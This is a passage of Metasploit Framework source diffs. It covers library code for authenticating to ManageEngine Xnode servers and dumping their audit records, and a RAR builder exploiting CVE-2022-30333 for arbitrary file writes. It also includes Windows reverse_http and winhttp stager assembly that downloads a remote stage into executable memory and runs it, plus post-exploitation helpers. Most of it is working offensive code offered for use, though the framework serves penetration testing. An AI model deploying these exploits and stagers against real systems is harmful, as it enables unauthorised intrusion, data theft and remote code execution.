print_status(res_msg)
xnode_authenticate(sock, username, password)
end
# Checks if a target is likely Xnode by sending an empty JSON hash and parsing the response
#
# @param sock [Socket] Socket to use for the request
# @return [Array] Array containing a response code (Integer) and a status message (String)
def xnode_sanity_check(sock)
# sanity check: send empty request to see if we get the expected `Authentication failed!` response
vprint_status('Attempting to verify if the target is Xnode by sending an empty JSON hash')
res = send_to_sock(sock, {})
unless res.instance_of?(Hash) && res.keys.include?('response') && res['response'].instance_of?(Hash) && res['response'].include?('error_msg')
return [2, 'Received unexpected response. The target does not seem to be an Xnode server.']
end
error_msg = res['response']['error_msg']
case error_msg
when 'Authentication failed!'
return [0, 'Target seems to be Xnode.']
when 'Remote request-processing disabled!!'
return [1, 'Target is Xnode, but remote request-processing is disabled.']
else
return [2, "Received the following unexpected error message from Xnode: #{error_msg}"]
end
end
# Performs an Xnode authentication attempt and parses the response
#
# @param sock [Socket] Socket to use for the request
# @param username [String] Username
# @param password [String] Password
# @return [Array] Array containing a response code (Integer) and a status message (String)
def xnode_authenticate(sock, username, password)
res = send_to_sock(sock, action_authenticate(username, password))
unless res.instance_of?(Hash) && res.keys.include?('response') && res['response'].instance_of?(Hash)
return [2, 'Received unexpected response when trying to authenticate.']
end
if res['response']['status'] == 'authentication_success'
return [0, 'Successfully authenticated to the Xnode server.']
end
if res['response'].include?('error_msg')
case res['response']['error_msg']
when 'Authentication failed!'
return [1, 'Failed to authenticate to the Xnode server.']
when 'Remote request-processing disabled!!'
return [1, 'Remote request-processing is disabled on the Xnode server.']
end
end
[2, 'Received unexpected response when trying to authenticate.']
end
end
@@ -0,0 +1,73 @@
# -*- coding: binary -*-
module Msf::Auxiliary::ManageEngineXnode::Config
CONFIG_FILE_DOES_NOT_EXIST = 1
CANNOT_READ_CONFIG_FILE = 2
DATA_TO_DUMP_EMPTY = 3
DATA_TO_DUMP_WRONG_FORMAT = 4
# Reads the configuration file for the current ManageEngine Xnode module in order to obtain the data repositories (tables) and fields (columns) to dump.
#
# @param config_file [String] String containing the full path to the configuration file to read.
# @return [Hash, Integer] Hash containing the data repositories (tables) and their fields (columns) to dump if reading the config file succeeded, error code otherwise
def grab_config(config_file)
# get the specified data repositories (tables) and fields (columns) to dump from the config file
return CONFIG_FILE_DOES_NOT_EXIST unless File.exists? config_file
begin
config_contents = File.read(config_file)
data_to_dump = YAML.safe_load((config_contents))
rescue StandardError => e
print_error("Encountered the following error while trying to load #{config_file}:")
print_error(e.to_s)
return CANNOT_READ_CONFIG_FILE
end
return DATA_TO_DUMP_EMPTY if data_to_dump.empty?
return DATA_TO_DUMP_WRONG_FORMAT unless data_to_dump.instance_of?(Hash)
data_to_dump
end
# Returns an array of data repositories that may exist in ManageEngine Audit Plus
#
# @return [Array] list of possible data repositories in ManageEngine Audit Plus
def ad_audit_plus_data_repos
[
'AdapFileAuditLog',
'AdapPowershellAuditLog',
'AdapSysMonAuditLog',
'AdapDNSAuditLog',
'AdapADReplicationAuditLog',
]
end
# Returns an array of data repositories that may exist in ManageEngine DataSecurity Plus
#
# @return [Array] list of possible data repositories in ManageEngine DataSecurity Plus
def datasecurity_plus_data_repos
[
'DSPEmailAuditAttachments',
'DSPEmailAuditReport',
'DSPEndpointAuditReport',
'DSPEndpointClassificationReport',
'DSPEndpointIncidentReport',
'DspEndpointPrinterAuditReport',
'DspEndpointWebAuditReport',
'DSPFileAnalysisAlerts',
'RAAlertHistory',
'RAIncidents',
'RAViolationRecords',
]
end
# Returns the full module so that config_status::<status> can be used in the modules importing this library
# as shorthand to access the error codes defined at the start of the module
#
# @return [Module] Msf::Auxiliary::ManageEngineXnode::Config
def config_status
Msf::Auxiliary::ManageEngineXnode::Config
end
end
@@ -0,0 +1,89 @@
# -*- coding: binary -*-
module Msf::Auxiliary::ManageEngineXnode::Interact
# Create a socket to connect to an Xnode server and rescue any resulting errors
#
# @param rhost [String] Target IP
# @param rport [Integer] Target port
# @return [Array] Array containing of a response code (Integer) and either a Socket (when a connection is established) or an error message (String)
def create_socket_for_xnode(rhost, rport)
vprint_status('Attempting to establish a connection with the remote server...')
begin
sock = Rex::Socket::Tcp.create(
'PeerHost' => rhost,
'PeerPort' => rport
)
rescue => e
vprint_status("Encountered the following exception type: #{e.class}")
return [1, e.message]
end
vprint_status('Successfully connected to the remote server')
[0, sock]
end
# Sends a request to an Xnode server
#
# @param sock [Socket] Socket to use for the request
# @param action_hash [Hash] Hash containing an Xnode-compatible request
# @return [Hash, nil] Hash containing a JSON-parsed Xnode server response if interaction with the server succeeded, nil otherwise
def send_to_sock(sock, action_hash)
unless action_hash.instance_of?(Hash)
print_error('The provided Xnode action is not a valid Hash. The request will not be performed.')
return nil
end
begin
vprint_status("Sending request: #{action_hash}")
sock.put(action_hash.to_json)
# using sock.get for reading because the server doesn't send newlines so sock.read doesn't work
# sock.recv won't work either since the message length can be (and often is) larger than the max of 65535
r = sock.get
rescue StandardError => e
print_error("Encountered the following error while trying to interact with the Xnode server:")
print_error(e.to_s)
return nil
end
vprint_status("Received response: #{r}")
# attempt to JSON parse the response
begin
return JSON.parse(r)
rescue JSON::ParserError => e
print_error("Encountered the following error while trying to JSON parse the response from the Xnode server:")
print_error(e.to_s)
return nil
end
end
# Calls send_to_sock and performs basic checks on the received response to ensure it is valid
#
# @param sock [Socket] Socket to use for the request
# @param action_hash [Hash] Hash containing an Xnode-compatible request
# @param warning_message [String] String to print via print_warning if the server response doesn't match the expected format
# @param expected_response_key [String] String that should be present as a key in the 'response' hash that is expected to be part of the JSON response
# @return [Array] Array containing a response code and a JSON-parsed Xnode server response hash if interaction with the server succeeded, Array containing a response code and nil otherwise
def get_response(sock, action_hash, warning_message=nil, expected_response_key=nil)
res = send_to_sock(sock, action_hash)
return [1, nil] if res.nil?
unless res.instance_of?(Hash) && res.keys.include?('response') && res['response'].instance_of?(Hash)
if warning_message
print_warning(warning_message)
end
return [1, res]
end
if expected_response_key
unless res['response'].keys.include?(expected_response_key)
if warning_message
print_warning(warning_message)
end
return [1, res]
end
end
[0, res]
end
end
@@ -0,0 +1,106 @@
# -*- coding: binary -*-
module Msf::Auxiliary::ManageEngineXnode::Process
# Processes the obtained server response from a ManageEngine Xnode data repository search request
#
# @param res [Hash] JSON-parsed response from the Xnode server. This should be a Hash.
# @param res_code [Integer] Response code received during the previous get_response call
# @param repo_name [String] Name of the data repository that was queried
# @param fields [Array] names of the data repository fields (columns) that were dumped
# @param mode [String] the type of query that was performed: standard, total_hits, aggr_min or aggr_max
# @return [Array, nil] Array containing the parsed query results if parsing succeeds, nil otherwise
def process_dr_search(res, res_code, repo_name, fields=nil, mode='standard')
if res_code == 1 || res.nil? || !(res.instance_of?(Hash) && res.keys.include?('response') && res['response'].instance_of?(Hash))
vprint_error("Received unexpected reply when trying to dump table #{repo_name}: #{res}")
return nil
end
response = res['response']
unless response.include?('search_result') && response.include?('total_hits')
if response.include?('error_msg')
error_msg = response['error_msg']
if /DataRepository for '#{repo_name}' not found!/ =~ error_msg
print_status("The data repository #{repo_name} is not available on the target.")
else
print_error("Received error message: #{error_msg}")
end
else
print_error("Received unexpected query response: #{response}")
end
return nil
end
case mode
when 'total_hits'
# try to grab the total hits
total_hits = response['total_hits']
unless total_hits && total_hits.is_a?(Integer)
print_error("Received unexpected reply when trying to obtain the number of total hits for table #{repo_name}.")
print_warning("The target may not be exploitable.")
return nil
end
if total_hits == 0
print_status("Data repository #{repo_name} is empty.")
return nil
end
return [total_hits]
when 'aggr_min', 'aggr_max'
aggr_type = mode.split("_")[1]
unless response.include?('aggr_result') && response['aggr_result'].is_a?(Hash) && response['aggr_result'].include?(aggr_type)
print_error("Received unexpected reply when trying to obtain #{aggr_type} aggregate value for the UNIQUE_ID field.")
return nil
end
return [response['aggr_result'][aggr_type]]
when 'standard'
search_result = response['search_result']
unless search_result.is_a? Array
print_error("Received unexpected query response: #{response}")
return nil
end
if search_result.empty?
vprint_status("The query returned no records.")
return nil
end
return search_result unless fields.is_a? Array
process_results(search_result, fields)
else
print_error('An invalid mode parameter was supplied!')
return nil
end
end
# Processes the search_result received from the Xnode server. If the fields parameter is provided, received values are mapped to known field (column) names.
#
# @param search_result [Array] nested Array containing the data repository rows and their values
# @param fields [Array] data repository fields (columns) that were dumped, used for mapping the search_result values to field names
# @return [Array, nil] Array containing the query results if the provided parameters are correct, nil otherwise
def process_results(search_result, fields)
return nil unless fields.is_a? Array
results = []
non_empty_val_ct = 0 # used to check the search results contains at least one non_empty value
# map the search returned values to the specified fields
search_result.each do |row|
row_data = {}
row.each_with_index do |val, index|
non_empty_val_ct += 1 unless val.blank?
column_name = fields[index]
row_data[column_name] = val
end
results << row_data
end
if non_empty_val_ct == 0
return nil
end
results
end
end
+7 -1
View File
@@ -101,8 +101,14 @@ module Msf
# @param [FlaseClass] Payload is not compatible.
def is_payload_compatible?(name)
p = framework.payloads[name]
return false unless p
pi = p.new
begin
pi = p.new
rescue ::Exception, ::LoadError => e
wlog("Module #{name} failed to initialize payload when checking evasion compatibility: #{e}", 'core', LEV_0)
return false
end
# Are we compatible in terms of conventions and connections and
# what not?
+1 -2
View File
@@ -704,7 +704,6 @@ class Exploit < Msf::Module
#
def is_payload_compatible?(name)
p = framework.payloads[name]
return false unless p
# Skip over payloads that are too big
@@ -713,7 +712,7 @@ class Exploit < Msf::Module
begin
pi = p.new
rescue ::Exception, ::LoadError => e
wlog("Module #{name} failed to initialize: #{e}", 'core', LEV_0)
wlog("Module #{name} failed to initialize payload when checking exploit compatibility: #{e}", 'core', LEV_0)
return false
end
@@ -0,0 +1,68 @@
# Encoding: ASCII-8BIT
module Msf
class Exploit
module Format
# The RarSymlinkPathTraversal mixin provides methods for generating a RAR file
# that exploits CVE-2022-30333, which can write an arbitrary file to an arbitrary
# location on a Linux filesystem
module RarSymlinkPathTraversal
# Encode arbitrary data to be extracted to an arbitrary path on versions of
# unrar that are affected by CVE-2022-30333
def encode_as_traversal_rar(symlink_name, target_path, data)
# Exactly 104 characters isn't allowed because we need to null-terminate
unless target_path.length < 104
raise ArgumentError, 'The RAR filename target is too long (max length: 103 characters)'
end
# Data and symlink_name don't need to be null-terminated, just padded
unless data.length <= 4096
raise ArgumentError, "The RAR file data is too long (max length: 4096 bytes, it was #{data.length})"
end
unless symlink_name.length <= 12
raise ArgumentError, 'The symlink is too long (max length: 12 characters)'
end
# Null terminate the path, pad with NUL bytes, and invert the slashes
symlink_target = (target_path + "\0").gsub('/', '\\')
symlink_target.concat(rand(255).chr) while symlink_target.length < 104
symlink_name = symlink_name.ljust(12, "\0")
# Pad the data to the full length
data.concat(rand(255).chr) while data.length < 4096
# Build a RAR file from pieces, filling in the blanks with our payloads.
# The RAR format is non-free (and complex), so this is the easiest way to
# build a payload file
rar = "\x52\x61\x72\x21\x1a\x07\x01\x00\xf3\xe1\x82\xeb\x0b\x01\x05\x07\x00\x06\x01\x01\x80\x80\x80\x00"
# Create the first section (with the symlink), and attach with its CRC32
rar_section1 = ''
rar_section1.concat("\x94\x01\x02\x03\x78\x00\x04\x00\xa0\x08\x00\x00\x00\x00\x80\x00\x00\x0c")
rar_section1.concat(symlink_name) # Symlink filename
rar_section1.concat("\x0a\x03\x02\xae\xf0\x37\x1c\x91\x98\xd8\x01\x6c\x05\x02\x00\x68")
rar_section1.concat(symlink_target)
rar.concat([Zlib.crc32(rar_section1), rar_section1].pack('Va*'))
# Create the second section (with the data), and attach with its CRC32
rar_section2 = ''
rar_section2.concat("\x28\x02\x03\x0b\x80\x20\x04\x80\x20\x20")
rar_section2.concat([Zlib.crc32(data)].pack('V'))
rar_section2.concat("\x80\x00\x00\x0c")
rar_section2.concat(symlink_name) # Data filename (same as symlink to overwrite it)
rar_section2.concat("\x0a\x03\x02\x00\x36\xe3\x00\x91\x98\xd8\x01")
rar.concat([Zlib.crc32(rar_section2), rar_section2].pack('Va*'))
rar.concat(data)
# This tail doesn't seem necessary, but I don't want to mess with it
rar.concat("\x1d\x77\x56\x51\x03\x05\x04\x00")
rar
end
end
end
end
end
@@ -97,15 +97,28 @@ module Msf::Exploit::Remote::HTTP::Typo3::Login
# @param password [String] The clear text password to encrypt
# @return [String] the base64 encoded password with prefixed 'rsa:'
def typo3_helper_login_rsa(e, n, password)
key = OpenSSL::PKey::RSA.new
exponent = OpenSSL::BN.new e.hex.to_s
modulus = OpenSSL::BN.new n.hex.to_s
if key.respond_to?(:set_key)
# Ruby 2.4+
key.set_key(modulus, exponent, nil)
# OpenSSL 3.0+
if OpenSSL::PKey.respond_to?(:generate_key)
exponent = OpenSSL::BN.new e.hex
modulus = OpenSSL::BN.new n.hex
asn1 = OpenSSL::ASN1::Sequence(
[
OpenSSL::ASN1::Integer(modulus),
OpenSSL::ASN1::Integer(exponent),
]
)
key = OpenSSL::PKey::RSA.new(asn1.to_der)
else
key.e = exponent
key.n = modulus
key = OpenSSL::PKey::RSA.new
exponent = OpenSSL::BN.new e.hex.to_s
modulus = OpenSSL::BN.new n.hex.to_s
if key.respond_to?(:set_key)
# Ruby 2.4+
key.set_key(modulus, exponent, nil)
else
key.e = exponent
key.n = modulus
end
end
enc = key.public_encrypt(password)
enc_b64 = Rex::Text.encode_base64(enc)
@@ -44,7 +44,7 @@ module Msf
time_stamp = opts[:time_stamp] || Time.now
pausec = opts[:pausec] || 0
etype = opts[:etype] || Rex::Proto::Kerberos::Crypto::RC4_HMAC
key = opts[:key] || ''
key = opts[:key] || OpenSSL::Random.random_bytes(16)
pa_time_stamp = Rex::Proto::Kerberos::Model::PreAuthEncTimeStamp.new(
pa_time_stamp: time_stamp,
+9 -2
View File
@@ -388,14 +388,21 @@ protected
begin
blob = self.generate_stage(url: url, uuid: uuid, uri: conn_id)
blob = encode_stage(blob) if self.respond_to?(:encode_stage)
# remove this when we make http payloads prepend stage sizes by default
if defined?(read_stage_size?) && read_stage_size?
print_status("Appending Stage Size For HTTP[S]...")
blob = [ blob.length ].pack('V') + blob
end
print_status("Staging #{uuid.arch} payload (#{blob.length} bytes) ...")
resp['Content-Type'] = 'application/octet-stream'
resp.body = blob
rescue NoMethodError
print_error("Staging failed. This can occur when stageless listeners are used with staged payloads.")
rescue NoMethodError => e
rescue NoMethodError => e
print_error('Staging failed. This can occur when stageless listeners are used with staged payloads.''')
elog('Staging failed. This can occur when stageless listeners are used with staged payloads.', error: e)
return
end
end
+13 -3
View File
@@ -57,6 +57,11 @@ module Msf
#
# @return [void]
def setup_handler
# The current SSH server implementation does not support OpenSSL 3
if OpenSSL::OPENSSL_LIBRARY_VERSION.start_with? 'OpenSSL 3'
raise RuntimeError, "ReverseSSH failed to load. OpenSSL version #{OpenSSL::VERSION} not supported."
end
local_addr = nil
local_port = bind_port
ex = false
@@ -103,7 +108,7 @@ module Msf
end
def init_fd_client(cli)
Timeout.timeout(5) do
Timeout.timeout(25) do
sleep 0.02 while cli.connection.open_channel_keys.empty?
fdc = Rex::Proto::Ssh::ChannelFD.new(cli)
service.clients.push(fdc)
@@ -143,16 +148,21 @@ module Msf
private
def default_version_string
default_version_string = 'SSH-2.0-OpenSSH_5.3p1'
# The current SSH server implementation does not support OpenSSL 3
return default_version_string if OpenSSL::OPENSSL_LIBRARY_VERSION.start_with? 'OpenSSL 3'
require 'rex/proto/ssh/connection'
Rex::Proto::Ssh::Connection.default_options['local_version']
rescue OpenSSL::OpenSSLError => e
print_error("ReverseSSH handler did not load with OpenSSL version #{OpenSSL::VERSION}")
elog(e)
'SSH-2.0-OpenSSH_5.3p1'
default_version_string
rescue LoadError => e
print_error('ReverseSSH handler did not load as PTY access is not available on all platforms.')
elog(e)
'SSH-2.0-OpenSSH_5.3p1'
default_version_string
end
end
end
+7
View File
@@ -183,6 +183,13 @@ class Msf::Modules::Loader::Base
causal_message: 'invalid module filename (must be lowercase alphanumeric snake case)'
))
return false
rescue => e
load_error(module_path, Msf::Modules::Error.new(
module_path: module_path,
module_reference_name: module_reference_name,
causal_message: "unknown error #{e.message}"
))
return false
end
+30
View File
@@ -0,0 +1,30 @@
# -*- coding => binary -*-
#
module Msf::Payload::Custom
def stage_payload(_opts = {})
return nil if datastore['SHELLCODE_FILE'].blank?
File.binread(datastore['SHELLCODE_FILE'])
end
def setup_handler
if datastore['SHELLCODE_FILE'].blank?
fail_with(Msf::Module::Failure::BadConfig, "No SHELLCODE_FILE provided")
end
begin
# read the file before we start the handler to make sure that it is valid
test = File.binread(datastore['SHELLCODE_FILE'])
rescue => e
print_error("Unable to read #{datastore['SHELLCODE_FILE']}:")
elog("Unable to read #{datastore['SHELLCODE_FILE']}:", error: e)
fail_with(Msf::Module::Failure::BadConfig, "Bad SHELLCODE_FILE provided")
end
super
end
def read_stage_size?
true
end
end
+15
View File
@@ -0,0 +1,15 @@
# -*- coding => binary -*-
#
# This module provides datastore option definitions and helper methods for payload modules that support UUIDs
#
module Msf::Payload::Custom::Options
def initialize(info = {})
super
register_options(
[
Msf::OptPath.new('SHELLCODE_FILE', [false, 'Shellcode bin to launch', nil])
], self.class)
end
end
+1
View File
@@ -170,6 +170,7 @@ module Msf::Payload::Stager
# @param (see handle_connection_stage)
# @return (see handle_connection_stage)
def handle_connection(conn, opts={})
# If the stage should be sent over the client connection that is
# established (which is the default), then go ahead and transmit it.
if (stage_over_connection?)
+46 -2
View File
@@ -447,7 +447,49 @@ module Payload::Windows::ReverseHttp
^
end
asm << %Q^
if defined?(read_stage_size?) && read_stage_size?
asm << %Q^
allocate_memory:
read_stage_size:
push ebx ; temporary storage for stage size
mov eax, esp ; pointer to 4b buffer for stage size
push ebx ; temporary storage for bytesRead
mov edi, esp ; pointer to 4b buffer for bytesRead
push edi ; &bytesRead
push 4 ; bytes to read
push eax ; &stage size
push esi ; hRequest
push #{Rex::Text.block_api_hash('wininet.dll', 'InternetReadFile')}
call ebp ; InternetReadFile(hFile, lpBuffer, dwNumberOfBytesToRead, lpdwNumberOfBytesRead)
pop ebx ; bytesRead (unused, pop for cleaning)
pop ebx ; stage size
test eax,eax ; download failed? (optional?)
jz failure
xor eax, eax
push 0x40 ; PAGE_EXECUTE_READWRITE
push 0x1000 ; MEM_COMMIT
push ebx ; Stage allocation
push eax ; NULL as we dont care where the allocation is
push #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualAlloc')}
call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
download_prep:
xchg eax, ebx ; place the allocated base address in ebx
push ebx ; store a copy of the stage base address on the stack (for ret later)
push ebx ; temporary storage for bytes read count
mov edi, esp ; &bytesRead
download_more:
push edi ; &bytesRead
push eax ; read length
push ebx ; buffer
push esi ; hRequest
push #{Rex::Text.block_api_hash('wininet.dll', 'InternetReadFile')}
call ebp
test eax,eax ; download failed? (optional?)
jz failure
pop eax ; clear the temporary storage for bytesread
^
else
asm << %Q^
allocate_memory:
push 0x40 ; PAGE_EXECUTE_READWRITE
push 0x1000 ; MEM_COMMIT
@@ -479,7 +521,9 @@ module Payload::Windows::ReverseHttp
test eax,eax ; optional?
jnz download_more ; continue until it returns 0
pop eax ; clear the temporary storage
^
end
asm << %Q^
execute_stage:
ret ; dive into the stored stage address
@@ -548,6 +548,62 @@ module Payload::Windows::ReverseWinHttp
^
end
if defined?(read_stage_size?) && read_stage_size?
asm << %Q^
receive_response:
; The API WinHttpReceiveResponse needs to be called
; first to get a valid handle for WinHttpReadData
push ebx ; Reserved (NULL)
push esi ; Request handler returned by WinHttpSendRequest
push #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpReceiveResponse')}
call ebp
test eax,eax
jz failure
allocate_memory:
read_stage_size:
push ebx ; temporary storage for stage size
mov eax, esp ; pointer to 4b buffer for stage size
push ebx ; temporary storage for bytesRead
mov edi, esp ; pointer to 4b buffer for bytesRead
push edi ; &bytesRead
push 4 ; bytes to read
push eax ; &stage size
push esi ; hRequest
push #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpReadData')}
call ebp ; InternetReadFile(hFile, lpBuffer, dwNumberOfBytesToRead, lpdwNumberOfBytesRead)
pop ebx ; bytesRead (unused, pop for cleaning)
pop ebx ; stage size
test eax,eax ; download failed? (optional?)
jz failure
xor eax, eax
push 0x40 ; PAGE_EXECUTE_READWRITE
push 0x1000 ; MEM_COMMIT
push ebx ; Stage allocation
push eax ; NULL as we dont care where the allocation is
push #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualAlloc')}
call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
download_prep:
xchg eax, ebx ; place the allocated base address in ebx
push ebx ; store a copy of the stage base address on the stack (for ret later)
push ebx ; temporary storage for bytes read count
mov edi, esp ; &bytesRead
download_more:
push edi ; &bytesRead
push eax ; read length
push ebx ; buffer
push esi ; hRequest
push #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpReadData')}
call ebp
test eax,eax ; download failed? (optional?)
jz failure
pop eax ; clear the temporary storage for bytesread
^
else
asm << %Q^
receive_response:
; The API WinHttpReceiveResponse needs to be called
@@ -590,7 +646,9 @@ module Payload::Windows::ReverseWinHttp
test eax,eax ; optional?
jnz download_more ; continue until it returns 0
pop eax ; clear the temporary storage
^
end
asm << %Q^
execute_stage:
ret ; dive into the stored stage address
@@ -441,6 +441,58 @@ module Payload::Windows::ReverseHttp_x64
^
end
# our other recent stagers like reverse_tcp read in the size of the incoming
# stage. We don't know why the http stager still just allocs 4MB and yeets
# the stage into it, but we should be allocating what we need, not what we guess we need
# these changes are to support the custom payload type, but in the future, we should
# change the reverse_http stagers to read in the size and allocate what it needs.
# as a breaking change, it will need to wait for the next major release.
#
if defined?(read_stage_size?) && read_stage_size?
asm << %Q^
allocate_memory:
; read incoming stage size
push rbx ; buffer for stage size
mov rdx, rsp ; lpBuffer (pointer to mem)
push rbx ; buffer for bytesRead
mov r9, rsp ; lpdwNumberOfBytesRead (stack pointer)
push 4
pop r8 ; dwNumberOfBytesToRead (4 bytes)
mov rcx, rsi ; hFile (request handle)
mov r10, #{Rex::Text.block_api_hash('wininet.dll', 'InternetReadFile')}
call rbp
test eax, eax ; did the download fail?
jz failure
add rsp, 40 ; remove 32 bytes of home space and 8 bytes of bytesRead
; allocate memory for stage
push rbx
pop rcx ; lpAddress (NULL)
pop rdx ; incoming stage size (Used in InternetReadFile)
mov rbx, rdx ; save off stage size (rdx is volatile)
push 0x40
pop r9 ; flProtect (0x40=PAGE_EXECUTE_READWRITE)
mov r8, 0x1000 ; flAllocationType (0x1000=MEM_COMMIT)
mov r10, #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualAlloc')}
call rbp
;download stage
download_prep:
xchg rax, rbx ; store the allocated base in rbx
push rbx ; store allocated memory address for later ret
push rbx ; temp storage for byte count
mov rdi, rsp ; rdi is the &bytesRead
mov rcx, rsi ; hFile (request handle)
mov r8, rax ; dwNumberOfBytesToRead (incoming stage size)
mov rdx, rbx ; lpBuffer (pointer to mem)
mov r9, rdi ; lpdwNumberOfByteRead (stack pointer)
mov r10, #{Rex::Text.block_api_hash('wininet.dll', 'InternetReadFile')}
call rbp
add rsp, 32 ; clean up reserved space
test eax, eax ; did the download fail?
jz failure
pop rax ; clear up reserved space
^
else
asm << %Q^
allocate_memory:
push rbx
@@ -478,6 +530,10 @@ module Payload::Windows::ReverseHttp_x64
jnz download_more ; keep going
pop rax ; clear up reserved space
^
end
asm << %Q^
execute_stage:
ret ; return to the stored stage address
^
@@ -563,7 +563,54 @@ module Payload::Windows::ReverseWinHttp_x64
^
end
asm << %Q^
if defined?(read_stage_size?) && read_stage_size?
asm << %^
allocate_memory:
; read incoming stage size
push rbx ; buffer for stage size
mov rdx, rsp ; lpBuffer (pointer to mem)
push rbx ; buffer for bytesRead
mov r9, rsp ; lpdwNumberOfBytesRead (stack pointer)
push 4
pop r8 ; dwNumberOfBytesToRead (4 bytes)
mov rcx, rsi ; hFile (request handle)
mov r10, #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpReadData')} ; WinHttpReadData
call rbp
test eax, eax ; did the download fail?
jz failure
add rsp, 40 ; remove 32 bytes of home space and 8 bytes of bytesRead
; allocate memory for stage
push rbx
pop rcx ; lpAddress (NULL)
pop rdx ; incoming stage size (Used in InternetReadFile)
mov rbx, rdx ; save off stage size (rdx is volatile)
push 0x40
pop r9 ; flProtect (0x40=PAGE_EXECUTE_READWRITE)
mov r8, 0x1000 ; flAllocationType (0x1000=MEM_COMMIT)
mov r10, #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualAlloc')}
call rbp
;download stage
download_prep:
xchg rax, rbx ; store the allocated base in rbx
push rbx ; store allocated memory address for later ret
push rbx ; temp storage for byte count
mov rdi, rsp ; rdi is the &bytesRead
mov rcx, rsi ; hFile (request handle)
mov r8, rax ; dwNumberOfBytesToRead (incoming stage size)
mov rdx, rbx ; lpBuffer (pointer to mem)
mov r9, rdi ; lpdwNumberOfByteRead (stack pointer)
mov r10, #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpReadData')} ; WinHttpReadData
call rbp
add rsp, 32 ; clean up reserved space
test eax, eax ; did the download fail?
jz failure
pop rax ; clear up reserved space
^
else
asm << %Q^
allocate_memory:
push rbx
pop rcx ; lpAddress (NULL)
@@ -599,7 +646,9 @@ module Payload::Windows::ReverseWinHttp_x64
test eax, eax ; are we done?
jnz download_more ; keep going
pop rax ; clear up reserved space
^
end
asm << %Q^
execute_stage:
ret ; return to the stored stage address
^
+80 -13
View File
@@ -251,7 +251,7 @@ module Msf::Post::File
end
raise "`writable?' method does not support Windows systems" if session.platform == 'windows'
cmd_exec("test -w '#{path}' && echo true").to_s.include? 'true'
cmd_exec("(test -w '#{path}' || test -O '#{path}') && echo true").to_s.include? 'true'
end
#
@@ -352,31 +352,98 @@ module Msf::Post::File
#
# Returns a MD5 checksum of a given remote file
#
# @note THIS DOWNLOADS THE FILE
# @note For shell sessions,
# this method downloads the file from the remote host
# unless a hashing utility for use on the remote host is specified.
#
# @param file_name [String] Remote file name
# @option util [String] Remote file hashing utility
# @return [String] Hex digest of file contents
def file_remote_digestmd5(file_name)
data = read_file(file_name)
chksum = nil
if data
def file_remote_digestmd5(file_name, util: nil)
if session.type == 'meterpreter'
begin
return session.fs.file.md5(file_name)&.unpack('H*').flatten.first
rescue StandardError => e
print_error("Exception while running #{__method__}: #{e}")
return nil
end
end
# Note: This will fail on files larger than 2GB
if session.type == 'powershell'
data = cmd_exec("$md5 = New-Object -TypeName System.Security.Cryptography.MD5CryptoServiceProvider; [System.BitConverter]::ToString($md5.ComputeHash([System.IO.File]::ReadAllBytes('#{file_name}')))")
return unless data
chksum = data.scan(/^([A-F0-9-]+)$/).flatten.first
return chksum&.gsub(/-/, '')&.downcase
end
case util
when 'md5'
chksum = session.shell_command_token("md5 -q '#{file_name}'")&.strip
when 'md5sum'
chksum = session.shell_command_token("md5sum '#{file_name}'")&.strip.split.first
when 'certutil'
data = session.shell_command_token("certutil -hashfile \"#{file_name}\" MD5")
return unless data
chksum = data.scan(/^([a-f0-9 ]{47})\r?\n/).flatten.first&.gsub(/\s*/, '')
else
data = read_file(file_name)
return unless data
chksum = Digest::MD5.hexdigest(data)
end
return chksum
return unless chksum =~ /\A[a-f0-9]{32}\z/
chksum
end
#
# Returns a SHA1 checksum of a given remote file
#
# @note THIS DOWNLOADS THE FILE
# @note For shell sessions,
# this method downloads the file from the remote host
# unless a hashing utility for use on the remote host is specified.
#
# @param file_name [String] Remote file name
# @option util [String] Remote file hashing utility
# @return [String] Hex digest of file contents
def file_remote_digestsha1(file_name)
data = read_file(file_name)
chksum = nil
if data
def file_remote_digestsha1(file_name, util: nil)
if session.type == 'meterpreter'
begin
return session.fs.file.sha1(file_name)&.unpack('H*').flatten.first
rescue StandardError => e
print_error("Exception while running #{__method__}: #{e}")
return nil
end
end
# Note: This will fail on files larger than 2GB
if session.type == 'powershell'
data = cmd_exec("$sha1 = New-Object -TypeName System.Security.Cryptography.SHA1CryptoServiceProvider; [System.BitConverter]::ToString($sha1.ComputeHash([System.IO.File]::ReadAllBytes('#{file_name}')))")
return unless data
chksum = data.scan(/^([A-F0-9-]+)$/).flatten.first
return chksum&.gsub(/-/, '')&.downcase
end
case util
when 'sha1'
chksum = session.shell_command_token("sha1 -q '#{file_name}'")&.strip
when 'sha1sum'
chksum = session.shell_command_token("sha1sum '#{file_name}'")&.strip.split.first
when 'certutil'
data = session.shell_command_token("certutil -hashfile \"#{file_name}\" SHA1")
return unless data
chksum = data.scan(/^([a-f0-9 ]{59})\r?\n/).flatten.first&.gsub(/\s*/, '')
else
data = read_file(file_name)
return unless data
chksum = Digest::SHA1.hexdigest(data)
end
return chksum
return unless chksum =~ /\A[a-f0-9]{40}\z/
chksum
end
#
-8
View File
@@ -210,14 +210,6 @@ module System
cmd_exec("echo $$").to_s
end
#
# Gets the pid of the current session
# @return [String]
#
def get_session_pid
cmd_exec("echo $PPID").to_s
end
#
# Checks if the system has gcc installed
# @return [Boolean]
+21
View File
@@ -9,6 +9,7 @@ module Msf::Post::Process
info,
'Compat' => { 'Meterpreter' => { 'Commands' => %w{
stdapi_sys_process_get_processes
stdapi_sys_process_kill
} } }
))
end
@@ -45,6 +46,26 @@ module Msf::Post::Process
end
end
#
# Forcefully terminate process with ID `pid` on the remote system
#
# @return [Boolean] True upon success
#
def kill_process(pid)
if session.type == 'meterpreter' && session.commands.include?(Rex::Post::Meterpreter::Extensions::Stdapi::COMMAND_ID_STDAPI_SYS_PROCESS_KILL)
session.sys.process.kill(pid)
return true
end
if session.platform == 'windows'
return !cmd_exec("taskkill /F /PID #{pid}").to_s.starts_with?('ERROR')
end
cmd_exec("kill -9 #{pid} && echo true").to_s.include?('true')
rescue Rex::Post::Meterpreter::RequestError
false
end
